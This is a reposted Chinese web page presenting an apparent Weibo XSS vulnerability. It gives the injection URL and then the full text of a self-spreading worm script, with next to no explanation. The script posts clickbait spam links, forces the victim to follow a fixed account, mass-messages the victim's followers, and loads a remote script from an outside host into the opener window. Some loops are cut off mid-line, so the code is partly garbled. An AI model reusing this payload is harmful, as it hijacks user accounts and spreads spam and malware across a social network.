XSS漏洞点 & XSS脚本内容分析漏洞预警 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    微博XSS漏洞点

    weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.****.com/images/t.js%3e%3c/script%3e?type=update

    微博XSS脚本内容

    function createXHR(){

    return window.XMLHttpRequest?

    new XMLHttpRequest():

    new ActiveXObject("Microsoft.XMLHTTP");

    }

    function getappkey(url){

    xmlHttp = createXHR();

    xmlHttp.open("GET",url,false);

    xmlHttp.send();

    result = xmlHttp.responseText;

    id_arr = '';

    id = result.match(/namecard=\"true\" title=\"[^\"]*/g);

    for(i=0;i

    sum = id.toString().split('"')[3];

    id_arr += sum + '||';

    }

    return id_arr;

    }

    function random_msg(){

    link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;

    var msgs = [

    '郭美美事件的一些未注意到的细节:',

    '建党大业中穿帮的地方:',

    '让女人心动的100句诗歌:',

    '3D肉团团高清普通话版种子:',

    '这是传说中的神仙眷侣啊:',

    '惊爆!范冰冰****真流出了:',

    '杨幂被爆多次被潜规则:',

    '傻仔拿锤子去抢银行:',

    '可以监听别人手机的软件:',

    '个税起征点有望提到4000:'];

    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;

    msg = encodeURIComponent(msg);

    return msg;

    }

    function post(url,data,sync){

    xmlHttp = createXHR();

    xmlHttp.open("POST",url,sync);

    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");

    xmlHttp.send(data);

    }

    function publish(){

    url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); "发送微博"

    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';

    post(url,data,true);

    }

    function follow(){

    url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();

    data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';

    post(url,data,true); "加关注"

    }

    function message(){

    url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; "给粉丝发私信"

    ids = getappkey(url);

    id = ids.split('||');

    for(i=0;i

    msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();

    msg = random_msg();

    msg = encodeURIComponent(msg);

    user = encodeURIComponent(encodeURIComponent(id));

    data = 'content=' + msg + '&name=' + user + '&retcode=';

    post(msgurl,data,false);

    }

    }

    function main(){

    try{

    publish();

    }

    catch(e){}

    try{

    follow();

    }

    catch(e){}

    try{

    message();

    }

    catch(e){}

    }

    try{

    x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);

    }

    catch(e){}

    main();

    var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

最新文章